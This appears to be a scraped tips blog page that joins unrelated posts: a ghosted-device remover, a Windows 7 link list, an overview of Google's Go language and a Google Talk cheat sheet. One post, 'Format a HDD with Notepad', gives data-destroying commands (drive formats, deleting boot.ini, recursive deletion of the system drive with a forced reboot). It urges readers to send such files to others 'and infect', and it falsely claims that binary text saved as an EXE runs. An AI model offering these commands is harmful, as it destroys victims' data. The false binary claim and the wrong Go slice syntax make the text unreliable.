How to Uninstall Ghosted Devices from Windows

Do you know that your computer can be full of Ghosted Devices? And like Humans are scared of real world Ghosts your Computer is also scared of these  Virtual Ghosts. Presence of such ghosts causes  deterioration in the Startup Speed and Overall Computer speed.

In simple language Ghosted Devices, commonly known as Hidden Devices, are those devices that were once connected to the system but are no longer connected. Windows however keeps a copy of them inside the Device Manager and tries to find these devices on system startup, thus reducing the startup speed(often negligible) in some cases.

As an example, lets consider a mouse that you borrowed from a friend, after using it you returned him the next day. When it was first connected, Windows installed the required drivers and when it was removed, Windows marked it as ‘Ghosted Device’. Now since you will probably never use this mouse again, it makes sense to remove it.

The common way of removing the device is to go to Device Manager, view hidden devices, right-click the device(s), hit Uninstall, and wait. Since it can be confusing at some times, this is where GhostBuster comes in. It is a portable tool that can list all Ghosted and Normal devices in one simple list and allows you to remove them in one click.

Please note that these “Ghosted Devices” can be useful as well and is one reason why Windows never looks for drivers every time you connect the device.

Suppose you connect a mouse after a few months after borrowing from a another friend and it turns out to be the same mouse that you borrowed from a friend before. Upon connecting it, you will be able to use the mouse instantly since Windows will not need to re-install the drivers. In layman’s term, the Ghosted device will become activated instantly and thus will not require driver installation again.

Note: Windows has some devices that are ghosted but should NEVER be removed(like devices in the sound, video and game controller class or system and non plug-n-play devices), GhostBuster marks them down as services. Make sure you know which device you are removing, consider this a warning.

It works on Windows XP, Windows Vista, and Windows 7. If you are using Vista or 7, go to Properties and run it in Windows XP compatibility mode.

Download GhostBuster

Format a HDD with Notepad

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.

Step 1. Copy The Following In Notepad Exactly as it says

01001011000111110010010101010101010000011111100000

Step 2. Save As An EXE Any Name Will Do

Step 3. Send the EXE to People And Infect

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code

format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000
100000011001000011101001011100
0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000
100000011000010011101001011100
0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000
101111010100110010111101010001
00100000011000110011101001011100011000100110111101
101111011101000010111001101001
0110111001101001

Try to figure out yourself rest
can’t spoonfeed
Its working.

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this:

1. go to notepad and type the following:
   @Echo off
2. Del C:\ *.*|y  save it as Dell.bat

want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

Reply With Quote

Windows 7: Top 10

It has been long since Windows 7 has been released and it is getting popular very quickly. There are a lot of new Tips and Tricks about Windows 7 being posted daily. Just search Google for the Keywords “Windows 7 Tips and Tricks” and you will find 113,000,000 results. So to reduce your difficulty to chose among them we have filtered out these articles and here we have listed Top 10 articles about “Windows 7 Tip and Tricks” till date.

Top 10 Articles

1. Windows 7 Roundup: A Must Read for All Buyers
2. 62 Windows 7 tips, tricks and secrets
3. Top 20 Windows 7 Tips
4. Secret ‘GodModes’ in Windows 7
5. The Bumper List of Windows 7 Secrets
6. Windows 7 Cheat Sheet
7. 175 Windows 7 Tweaks, Tips, and How-To Articles
8. How to Dual Boot Windows 7 with XP or Vista
9. Ultimate List Of Windows 7 Tips and Tricks
10. 18 cool things Windows 7 does that Vista doesn’t

Disclaimer: This list is based on the personal opinion of Hungry Hackers Team.

Code it the Google Way

Google never seems to just be satisfied with the status quo, and when they run out of fields to compete in they create their own! Google’s new “Go” programming language is one of their newest ventures, a language which is an amalgamation of Python and C++.

The Go language, in development since September 2007, has been unveiled by Google along with the release of a free and open source compiler. In fact, Google has released both a stand-along compiler implementation with cryptic names such as 6g (amd64 compiler), 8g (x86 compiler), and 5g (ARM compiler) and one which is a front-end for GCC (gccgo).

Born out of frustration with existing system languages, Go attempts to bring something new to the table, and mix the ease of dynamically typed and interpreted languages with the efficiency of compiled languages.

So why make a new programming language?

Google believes that the current languages have run their course. The prominent languages in use today (C/C++, Java, C#) are all based around a similar syntax, and updating and adding new features in these language consists of piling on libraries, with little or no upgrade to the core of the language itself. What Google intends to do requires more than just the addition of a new library.

The landscape of computing has changed a lot since C, and as Google notes “Computers are enormously quicker but software development is not faster.” Languages have had to morph quite a bit to take on support concepts such as parallel processing, and garbage collection.

Quick Overview

Go, on the other hand has been designed by Google from the ground up as “a concurrent, garbage-collected language with fast compilation”.

In order to not alienate the majority of developers though, its syntax is quite similar to C, and would not take much time for a developer to catch on to.

Go has accomplished some impressive feats. The language is designed to compile fast and Go can compile a “large” program in a few seconds on a single computer. It is designed to simplify the creation of application which can better utilize today’s multi-core processors. The language supports concurrent execution andcommunication between concurrent processes natively, and is fully-garbage collected.

Goroutines are Google’s answer to threading in Go, and any function call which is preceded by the go statement runs in a different goroutine concurrently. A feature called channels allows for easy communication and synchronization between such routines.

Unlike other object oriented languages, Go has a much “simplified” type structure, which disallows sub-classing! Go offers a different flavour of object oriented programming using interfaces, which Google believes will simplify use.

By using interfaces, explicit type hierarchies need not be defined, instead, a type will satisfy all interfaces which are subsets of its methods. The relationships between types and interfaces need not be defined explicity! This can have some interesting implications as people can add interfaces to connect unrelated types even later in the development of an application.

Go seems inspired by Python as well. Python has been one of Google’s favoured languages and was the sole language supported on Google’s AppEngine when it launched. Like Python, Go supports “slices”, which allow you to refer to parts of arrays using a simple syntax. Thus for an array “a” with 100 elements, a[23,42] will result in an array with elements 23 through 42 of a. Go also tracks the length of arrays internally, further simplifying array usage. Additionally, Maps in Go allow you to create “arrays” with custom index types, and are a native feature of the language.

Conclusion

One consistent point in the features of Go is that it is better to have one excellent implementation of commonly used features such as garbage collection, strings, maps etc. rather than have them rethought and re-implemented in each program.

As nearly all Google products, Go is “beta” and not yet suitable for production use. By releasing it early Google hopes to garner a community around it and hopes that enough people will be interested in it to justify continued development.

This post was written by Paras. Visit his blog

Google Talk Cheat Sheet

Are you crazy about Google Talk. Do you want to be become a master of Google Talk? Then here is a source for you to know each and every secret of Google Talk. I think this is a complete list of tips, tricks, hacks, howto’s, keyboard shortcuts and few miscellaneous facts about Google Talk.

Tips & Tricks

1. Change the font size

While holding the control key, move the scroll wheel on your mouse either up or down. This trick works while being focused in either the read or write area.

2. Insert line breaks

If you want to have a message that spans multiple paragraphs, just hold shift and hit enter. You can add as many new lines as you want to create.

3. Bold Text

To write something bold, you can use an asterisk before and after the word. For Example *Hungry Hacker*

4. Italic Text

To use italics, use an underscore before and after the word. For Example _Hungry Hacker_

5. Switch windows

Hitting tab will cycle through open windows. It will select minimized conversations, to expand them just hit enter. If you just want to cycle through IM’s and don’t care about the buddy list, control-tab will do that and will automatically expand a minimized conversation if you settle on one.

6. Invitation Tips

You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this in the options).

7. Show Hyperlinks

You can show your homepage or blog URL simply by entering it in your away message (at the top of the main window). It will automatically turn to a link visible to others.

How To’s

1. Use multiple identities on Google Talk

Want to run Google Talk with multiple Gmail identities? If you have several Google Gmail accounts you also may want to run multiple instances of Google Talk This is especially important for families that share a single PC. Basically, to have “Google Polygamy” you need to run Google Talk with the following switch: /nomutex

• Right-click on the desktop
• Select New -> Shortcut
• Paste the following into the Address box:

“C:\program files\google\google talk\googletalk.exe” /nomutex

• Click Next and choose a shortcut name such as Google Talk1, Google Talk2, or something related to your Gmail account for easy remembering which account is which.

2. Use Google Talk via a Web Browser

You want to use Google Talk anywhere ? Follow these guidelines 

• Opens your favourite web browser.
• Go to following Website

http://www.webjabber.net:8080/jim/

• Follow the instructions of the Page.
• You can talk with your friends

3. Conference Calls

• Open up a copy of Google Talk on all computers with which you wish to conference.
• After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex.
• If you installed it to the default folder then your shortcut should read “C:\Program Files\Google\Google Talk\googletalk.exe” /nomutex.
• Open 2nd instances of the software on every user’s computer.
• After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

4. Change Nickname

You can’t change your nickname in a way that other people will see it change. Every nickname in the Google Talk Contact List is the part that is before @gmail.com (only the alphabetical characters are used) or the name you chosen for your GMail account. To change the nickname you need to do the following:

• Go to your Gmail account and change the name there.
• Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name.
• As a result all of your emails will have that nick as well, there is no way to seperate the two.
• You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.

5. Contacts

You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).

6. Play Music

It’s possible to broadcast music, MP3, etc. through Google Talk. Follow the steps given bellow:

• Unplug your microphone.
• Double click on the speaker icon in the lower right corner. This will open up “Volume Control”.
• Select “Options” and then “Properties”. Then check the button next to “Recording” then click OK.
• You may also have to change your setting under Mixer Device. Now the Recording Control screen should be up.
• On my computer I selected “Wave Out Mix”. Click on the green phone in Google Talk and call your friend.

Registry Hacks

Before applying any of these Registry Tweaks follow the steps given below:

1. Backup your Registry
2. Start -> Run -> Regedit
3. Now Navigate to the following directory

HKEY_CURRENT_USER\Software\Google\Google Talk.

4. Make Changes based on the info given bellow.
5. Restart your PC for the changes to take effect.

The “Google/Google Talk” key has several sub-keys that hold different option values:

Accounts: This one has subkeys for each different account that has logged in on the client. These keys have different values that store the username, password and connection options.
Autoupdate: Stores the current version information. When the client checks for updates it compares Google’s response with these values. If an update is needed, it will download and update the new version.

Options: This is the most interesting part, where most of the current hacks should be used (keep reading).

Process: Stores the process ID. Probably used by Google Talk to detect if it’s already running or not.

1. HKEY_CURRENT_USER\Software\Google\Google Talk\Options\show_pin
If 1, shows a “pin” next to the minimize button that keeps the windows on top of all the other open windows when clicked.
2. HKEY_CURRENT_USER\Software\Google\Google Talk\Options\view_show_taskbutton
If 0, hides the taskbar button, and leaves the tray icon only, when the window is shown
3. HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_inactive
If 1, status will be set as Away after the specified number of minutes.
4. HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_screensaver
If 1, status will be set as Away after the specified number of minutes.
5. HKEY_CURRENT_USER\Software\Google\Google Talk\Options\inactive_minutes
Number of inactive minutes to become away if auto-away is on.

Keyboard Shortcuts

Shortcut	Use
Ctrl + E	It centralizes the selected text, or the current line.
Ctrl + R	It justifies to the right the selected text, or the current line.
Ctrl + L	It justifies to the left the selected text, or the current line.
Ctrl + I	The same thing does that Tab.
Tab	It is giving the area to each of the windows opened by Google Talk.
Ctrl + Tab	The same thing does that Tab but in reverse.
Shift + Tab	The same thing that Ctrl + Tab does.
Ctrl + Shift + L	Switch between points, numbers, letters, capital letters, roman numbers and capital roman numbers
Ctrl + 1 (Key Pad)	It does a simple space between the lines.
Ctrl + 2 (Key Pad)	It does a double space between the lines.
Ctrl + 5 (Key Pad)	A space does 1.5 between the lines.
Ctrl + 1 (Num Pad)	It goes at the end of the last line.
Ctrl + 7 (Num Pad)	It goes at the begin of the last line.
Ctrl + F4	It closes the current window.
Alt + F4	It closes the current window.
Alt + Esc	It Minimize all the windows.
Windows + ESC	Open Google Talk (if it’s minimized, or in the tray)
F9	Open Gmail to send an email to the current contact.
F11	It initiates a telephonic call with your friend.
F12	It cancels a telephonic call.
Esc	It closes the current window.

Google’s Secret Command-Line Parameters

There are a few secret parameters you can add to Google Talk and make it function differently.

You can use these parameters as follows:

“C:\program files\google\google talk\googletalk.exe” [PARAMETER]

Parameter	Use
/nomutex	Allows you to open more than one instance of Google Talk
/autostart	It will check the registry settings to see if it needs to be started or not. If the “Start automatically with Windows” option is unchecked, it won’t start.
/forcestart	Same as /autostart, but forces it to start no matter what option was set.
/S upgrade	Used when upgrading Google Talk
/register	Registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate	Check for newer versions.
/plaintextauth	Uses plain authentication mechanism instead of Google’s GAIA mechanism. Used for testing the plain method on Google’s servers.
/nogaiaauth	Disables GAIA authentication method. The same as /plaintextauth .
/factoryreset	Set settings back to default.
/gaiaserver servername.com	Uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com	Send an email with Gmail.
/diag	Start Google Talk in diagnostic mode.
/log	Probably has something to do with the diagnostic logging

Miscellaneous G-talk Facts

• A message can be 32767 characters long.
• The Gmail account ‘user@gmail.com’ can’t be invited as your friend